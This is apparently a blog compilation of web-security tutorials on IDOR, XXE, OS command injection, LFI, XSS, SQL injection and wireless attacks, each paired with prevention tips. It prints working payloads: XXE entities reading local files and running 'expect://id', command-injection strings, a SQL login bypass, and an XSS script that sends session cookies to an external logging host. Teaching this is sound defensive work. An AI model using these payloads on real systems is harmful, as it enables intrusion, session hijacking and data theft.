Understanding IDOR Vulnerability

There can be many variables in the application such as “id”, “pid”, “uid”. Although these values are often seen as HTTP parameters, they can be found in headers and cookies. The attacker can access, edit or delete any of other users’ objects by changing the values. This vulnerability is called IDOR.

First, it needs to understand the application flow developed by the software developers. All the modules functions and their sub-modules functions need to be understood when the logged-in user into the web/mobile application. It is also important to remember that this vulnerability is as severe as XSS, CSRF in security testing and as a type of vulnerability that is not easily discovered (automatized testing or manual testing).

Effective & fast IDOR vulnerability test

You can use the browser’s secret tab to quickly practically test IDOR vulnerabilities. So, when you use the regular tab as a normal user, you can use the secret tab as an attacker. This will ensure that you don’t logout.

You can use Burp Suite’s HTTP History tab for checking all of requests. The HTTP History feature that shows all the traffic between the device (browser, phone, tablet) and the application’s server. Also, you can use Burp Suite’s scope feature for fast testing. Because the scope feature can be useful to make a target list and the scope feature allows showing only relevant data for your testing scope.

For example; the company “Bugcrowd” that we tested and the scope is only given as “bugcrowd.com” on the scope page. In this case, you can add the relevant scope by right-clicking on a request.

You can edit this added scope value according to the given scope as follows

Finally, you should do the following filtering in the HTTP History tab by selecting “Show only in-scope items”.

These will help you to understand roles like readonly, normal, super etc in the application better.

Capture all requests!

When IDOR vulnerability testing, basically, you need to perform make all the requests that the web/mobile application should be create. Because if you changed something in the application, can create other requests using this case. If you have all API requests of the application like WSDL file, Swagger page etc. and it’s working regularly, you’re in luck! You can use this and it’ll give you convenience for IDOR testing.

An example is encountered in a private program. Credit cards are added when made the purchase in the mobile application. After the requests are tested, it can be thought that there is not any vulnerability. But when a made second purchase, credit card selection screen is seen and the IDOR vulnerability is at this point. When selecting a credit card on here, application will send the credit card id to server in a request and this request did provide to access other users’ credit cards data changing the credit card id.

In another private program, the web application included an in-app messaging system. The user could send messages to other users and add other users to own messages. When the user tries to access one of own messages, a request went to “/messages/5955” and own message id seems to be “5955”. Likewise, when trying to access another user’s message by making a request to “/messages/5955”, the message was not accessed. When the user wanted to add another user to own message, arises a request like the one below.

1

<span class="has-inline-color has-vivid-red-color">POST /messages/5955/invite HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0Accept: */*X-Requested-With: XMLHttpRequestCookie: my_cookiesConnection: closeuser=testaccount2</span>

And when this request is examined, the user can add itself to other users’ messages and access all messages.

In addition, roles in the application must be well understood in order to identify IDOR vulnerability. If you know what that a role should do or should not do, it will be very useful during the phase of weakness detection. So firstly, you should understand the application deeply!

How to find injection points?

As before say, you can find many requests for IDOR vulnerability testing using all features of application. When API endpoints are not provided in IDOR vulnerability tests, .html source code or .js files are useful. These files include interesting things and ajax requests usually. IDOR vulnerability testing can be performed using presented requests in these files. This can be requests made earlier by the application, and possible future requests.

If you are lucky, you can see only the requests that an authorized, admin user should see in javascript files. Because of this, source code and especially javascript files should analyze well.

Also, you can search web application’s old version on “archive.org” and you may can find useful requests in old javascript files or you can search requests in search engines using dorks.

In some cases, id values aren’t unique like 1, 2, 3, 100, 1000 etc, these id values can be encoded or hashed value. If you face an encoded value, you can test the IDOR vulnerability with decoding the encoded value. If you face a hashed value, you should test whether the hash value is an accessible or predictable value. In another case, you can access hashed value in “Referrer“ header, so these scenarios can be replicated.

For example, you can’t access the another users’ objects but you can find object’s hashed id value in the object page’s source code, you can find the object’s hashed id into an in-app message from victim user (this will decrease the impact of bug). So you can create 2 test accounts as X and Y, then try to X’s hashed id value in Y’s requests in Burp History.

If we will touch another topic, some applications’ requests may scare you. For example, the SmartSheet’s request that contains more than one parameter appears to be too complex.

If you wanna find the inject point in this request, you can use Burp Suite’s compare tool. You should right-click on the request and choose “Send to Comparer” option. Then you can create the same request for using another object and send to comparer.

When you visit to the comparer tool and click on the “Words” button, you will be presented with a window where the changing points.

You can use same method for HTTP responses and you can examine their differences.

Unsuspected places to look for IDORs

Don’t ignore encoded and hashed IDs

When faced with an encoded ID, it might be possible to decode the encoded ID using common encoding schemes.
And if the application is using a hashed/ randomized ID, see if the ID is predictable. Sometimes applications use algorithms that produce insufficient entropy, and as such, the IDs can actually be predicted after careful analysis. In this case, try creating a few accounts to analyze how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users.
Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on other public pages in the application (profile page of other users, etc), or in a URL via referer.

For example, once I found an API endpoint that allows users to retrieve detailed direct messages through a hashed conversation ID. The request kinda looks like this:

1

<span class="has-inline-color has-vivid-red-color">GET /api_v1/messages?conversation_id=SOME_RANDOM_ID

2

</span>

This seems okay at first glance since the conversation_id is a long, random, alphanumeric sequence. But I later found that you can actually find a list of conversations for each user just by using their user ID!

Preventing IDOR Vulnerability

Your website may be vulnerable to future attacks if IDOR threat actors remain present in your web applications. Here are ways to avoid IDOR vulnerability:

Use an Indirect Reference Map

An Indirect Reference Map is an alternative design method to ‘Direct Object Reference’ that helps businesses avoid IDOR vulnerabilities. It replaces the actual references (such as user IDs, names, keys, etc.) with alternate IDs that map to the original values. The mapping between the alternate IDs and actual references are maintained safely on the servers.

Let’s go back to the credit card example. Instead of using direct references in the URL http://www.example.com/credit/profile/id#12, use indirect references http://www.example.com/c/ab. Then, refer to the indirect reference map to look for the actual reference. This way, direct references containing users’ credit card information will not be exposed.

Validate User Access

Servers fail to identify tampered URLs because there are no access checks in place at the data-object level. Data layer access controls should be enforced only when the server verifies whether the current user owns or has access permissions to the requested data.

At the very least, the application should perform a Syntactic Validation to verify suspicious inputs. The application should establish criteria for incoming input, and if it doesn’t meet expectations, reject the value.

Here are some criteria you can apply to your application:

• Minimum or maximum length
• Minimum or maximum bounds (for numeric values)
• Acceptable characters
• Data Type (e.g. string, date, integer, rational, etc.)

But what do you when an IDOR attack leads to a successful data breach?

The preventive measures mentioned above can only prevent an IDOR attack from happening, but they can’t mitigate the impact of a successful attack. Your business needs to be ready for any cyberattack situation, and that includes having an action plan post an IDOR attack.

Spanning backs up your online data and restores it in the event of a cyberattack incident, including a data breach due to IDOR vulnerability. This ensures business continuity for your web-based business even during a disaster.

Read More

What Is XXE Injection? |How Hackers Do It.

 

What is XML external entity injection?

XML external entity(XXE) injection is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. Using XXE, an attacker is able to cause Denial of Service (DoS) as well as access local and remote content and services and to interact with any back-end or external systems that the application itself can access.
This vulnerability used to perform Server Side Request Forgery(SSRF).

Is that the XEE (XML Eternal Entity Injection) vulnerability can be activated when certain endpoints that accept XML as input are detected. But often, you may find cases where the endpoints that accept XML may not be so evident (for example, those cases where the client uses only JSON to access the service). In these situations, a pen tester must try various things to see how the application reacts, such as changing the HTTP methods, Content-Type, etc. If the content is parsed by the application, then there is a scope for XXE.

Most Common XXE Injection Attacks

• Local File Hijack from Server

the attacker sends the malformed XML payload in the request, the server processes this payload and sends back a response with sensitive information, such as local files of the server, application configuration files, internal network details and so on.

In few cases upon submitting the HTTP request with the crafted XXE payload, the server responded with the /etc/passwd/ of the server.

However, in many cases, the server may not send back a response. The other way an attacker can exploit this is by including the URL (attacker-controlled server) in the XXE payload. When the server parses the payload, it makes an additional call to the attacker-controlled server, thereby an attacker listens to the victim’s server and captures information such as local files, server configuration files, and other server details.

• Access Server files through a File Upload feature

Many applications support a “File Upload” functionality (XLSX, DOCX, PPTX, SVG or any XML MIME type formats) for further processing. Usually, these files have an XML MIME type. An attacker could take advantage of the inherent XML type and upload malicious files embedded with XXE payloads. When the server parses the file, the file containing XXE payload gets executed, resulting in the disclosure of sensitive information of a server on the client side.

Note that the libraries that parse XML on one part of the site (e.g. API) may not be the same as libraries that parse uploaded files.

• DOS attack with Recursive Entity Expansion

This attack is also called as the Billion Laugh attack, the XML Bomb or a Recursive Entity Expansion attack. This attack occurs when the parser continually expands each entity within itself, which overloads the server and results in bringing down the server.

XXE is not a new vulnerability but rather an existing one that has gained more notoriety in recent applications. A successful XXE injection attack could result in massive damages on both security and business functionality fronts.

EXPLOITING XXE TO RETRIEVE FILES

There are two ways:

• #Enter (or edit) a DOCTYPE element that specifies an external entity that contains the file path.
• #To make use of the defined external entity, edit the data value in the XML returned in the application’s response.

Examples of XXE Attacks

• Accessing a local resource that may not return

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///dev/random" >]>
<foo>&xxe;</foo>

• Remote Code Execution

If fortune is on our side, and the PHP “expect” module is loaded, we can get RCE. Let’s modify the payload

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>

How to Prevent XXE injection Attacks?

XXE vulnerability occur because the XML parsing library of the application supports potentially dangerous XML features that the application does not require to use.

The easiest method to prevent against the attacks it to permanently disable the Document Type Definitions (DTDs), if this is not require.And turn off entity expansion in XML.Check the the version of XML libraries IF they are vulnerable to XXE attack.

Read More

How Hackers Access Server Using Command Injection

 

What is OS command injection?

OS command injection is a web vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise th application and all its data.

This is very dangerous hack because the hacker can get full control. The attacker change everything ,I mean everything like (credentials, biodata, and also harm the website owner etc.).

What are the types of OS command injection?

I’m not going in deep

• 1.Direct Command Injection
• 2.Indirect Command Injection
• 3.Bling Command Injection

How does OS Command Injection Attack Works?

Firstly the attacker locate a vulnerability in the web application which allow him to execute malicious OS commands.

Usually the attacker make a malicious script or execute commands to bypass the firewall to execute a desired attack in the host OS.

They typically use an input mechanism like HTML code, cookies or form fields to inject this command into the web application.

The browser interprets the command and it is translated to an operating system command on the host machine.

The threat attack can execute specific commands on the host machine and the infected network system.

OS Command Injection ATTACK Example

For this purpose, I am using the ping functionality, whick is notoriosly insecure on many routers. Lets imagine a application which is vulnerable.

It has a comman function that passes a n IP address from a user input is 127.0.0.1.

The following command will be executed on the host OS.

ping -c 5 127.0.0.1

Since we are dealing with a vulnerabe web application, it’s possibleto break out the ping command or an error that returns useful info to the attacker.

Then the attacker use this option to execute his own arbitrary commands.

The added additional system commands could look like this:

ping -c 5 127.0.0.1; id

In above command both ping and id command executed.
Command output will looks like :-

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.074 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.074 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.072 ms64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 received, 0% packet loss, time 3999msrtt min/avg/max/mdev = 0.023/0.056/0.074/0.021 msuid=0(root) gid=0(root) groups=0(root)

During the OS command injection attack, the attacker can also set up an error-based attack. For ex:-

ping -c 5 "$(id)"

The above code returns a response like:-

ping: unknown host uid=0(root) gid=0(root) groups=0(root)

How to prevent OS command injection?

To prevent an attacker from exploiting a vulnerable web application and inserting special characters into an operating system command, you should try to generally avoid system calls where possible.

In all cases, avoid user input of any kind unless it is absolutely necessary. If you don’t need system command fucntionality, deactivate it.

Then the attacker can’t get access to the system shell on the host OS through vulnerable web applications. You can also build a whitelist of possile inputs and check the formats. 

Read More

How Do Hackers Upload Shellcodes Using LFI

 

What is Local File Inclusion (LFI)?

This is a vulnerability commonly found to affect web application that rely on a scripting run time. Local File Inclusion (LFI) or simply File Inclusion, refers to an inclusion attack through which an attacker can trick the web application into including files on the web server by exploiting a functionally that dynamically includes local files or scripts.

LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution.

An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.

How does Local File Inclusion Work?

Usually, the path of the file that you want to open is sent to a function that can then return the content of the file as a string, print it on the current web page, or include it into the document and parse it as application code in the relevant language.

The following is an example in PHP that is vulnerable to Local File Inclusion (LFI).

/**
      * Get the filename from a GET input
      * Example - http://example.com/?file=filename.php
      */
      $file = $_GET['file'];
      
      /**
      * Unsafely include the file
      * Example - filename.php
      */
      include('directory/' . $file);

In the above example, an attacker could make the following request to trick the web application into executing a malicious script such as a webshell that the attacker managed to upload to the web server.

Here’s an example of a vulnerable PHP code that could lead to LFI:-
https://example.com/?page=filename.php

Here, the file uploaded by the attacker will be included and run as the user running the web app.In this way the attacker to run any code they wanted on the web server.

All the things work successfully when the attacker get the access into the website

Protecting Against LFI Attacks

The simplest method/way to eliminate LFI vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included.

Read More

How Do Hackers Hijack Websites And Browser Using Xss

 

What is Cross Site Scripting(XSS)?

Cross site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. This is a combination of HTML and XSS provided by the attacker, but XSS can also be used to deliver malicious downloads, plugins, or media content. In this case hacker execute some malicious links into the website or an app.

If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system.

As a result, the attacker can steal the user’s active session cookie.
Here’s an example:

<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>

Because XSS can allow untrusted users to execute code in the browser of trusted users and access some types of data, such as session cookies, and many time hackers get some website credentials which they get full control on websites.

How does cross site scripting work?

Cross-site scripting works by manipulating a vulnerable website or an application so that it returns malicious JavaScript to users.The attacker injects some code in it.

Attackers can also carry out an attack by modifying a request. If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system. As a result, the attacker can steal the user’s active session cookie.

Here’s an example:

<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>

While the payload is usually JavaScript, XSS can take place using any client-side language.

What does the attacker do the credentials?

The attacker do these things:-

• *Hijacking A website And Browser
• *Capturing the keystrokes of a user.
• *Redirecting a user to a malicious website.
• *Running web browser-based exploits (e.g., crashing the browser).
• *Obtaining the cookie information of a user who is logged into a website (thus compromising the victim’s account).

In some cases, the XSS attack leads to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker.

What are the different types of XSS attacks?

Stored XSS:-

Takes place when the malicious payload is stored in a database. It renders to other users when data is requested—if there is no output encoding or sanitization.

Reflected XSS:-

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

DOM-based XSS:-

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

How to prevent XSS vulnerability?

There are some strategies to prevent XSS attacks:

• *Never trust user input.
• *Implement output encoding.
• *Perform user input validation.
• *Follow the defense in depth principle.
• *Ensure that web application development aligns with OWASP’s XSS Prevention *Cheat Sheet.
• *After remediation, perform penetration testing to confirm it was successful.

Protect your organization by following secure development guidelines—building security in at all phases of the application’s development. Output encoding is also key to preventing XSS vulnerabilities. Make use of output encoding libraries that are relevant to the programming languages and frameworks your organization uses. Also, ensure your developers stay up-to-date with XSS prevention best practices.

Read More

How Hackers Leak Databases | Sql Injection Vulnerablity

 

What is SQL injection?

The Wikipedia article on SQL injection reads:

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution.

SQL Injection is a web-based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.

The underlying fact that allows for SQL injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let’s consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt.

Here is a typical example:

select * from users where username='admin' and password='admin123′;

If the attacker knows the username of the application administrator is admin, he can log in as admin without supplying any password.

admin'–

The query in the back-end looks like:

Select * from users where username='admin'–' and password='xxx';

Note the comment sequence (–) causes the followed query to be ignored, so query executed is equivalent to:

Select * from users where username='admin';

So password check is bypassed.

Read More

Wireless Hacking Basic Knowledge

 

Wireless Network Sniffing :-

Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.

Stations and Access Points :-

A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station.
An access point (AP) is a station that provides frame distribution service to stations associated with it.
The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.

Passive Scanning :-

Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all.

Channels :-

The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.

Wired Equivalent Privacy (WEP) :-

It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm.

Detection of SSID :-

The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.
When the above methods fail, SSID discovery is done by active scanning.

Collecting the Frames for Cracking WEP :-

The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).

Detection of the Sniffers :-

Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected.

Wireless Spoofing :-

There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.

Denial of Service :-

A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.

MAC Address Spoofing :-

The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.

IP spoofing :-

Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.

Frame Spoofing :-

The attacker will inject frames that are valid but whose content is carefully spoofed.

Wireless Network Probing :-

The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.

AP Weaknesses :-

APs have weaknesses that are both due to design mistakes and user interfaces.

Trojan AP :-

An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.

War Driving :-

Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers.
Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.

Jamming the Air Waves :-

A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function.

Tips for Wireless Home Network Security

• Change Default Administrator Passwords (and Usernames)
• Turn on (Compatible) WPA / WEP Encryption
• Change the Default SSID
• Disable SSID Broadcast
• Assign Static IP Addresses to Devices
• Enable MAC Address Filtering
• Turn Off the Network During Extended Periods of Non-Use
• Position the Router or Access Point Safely

Read More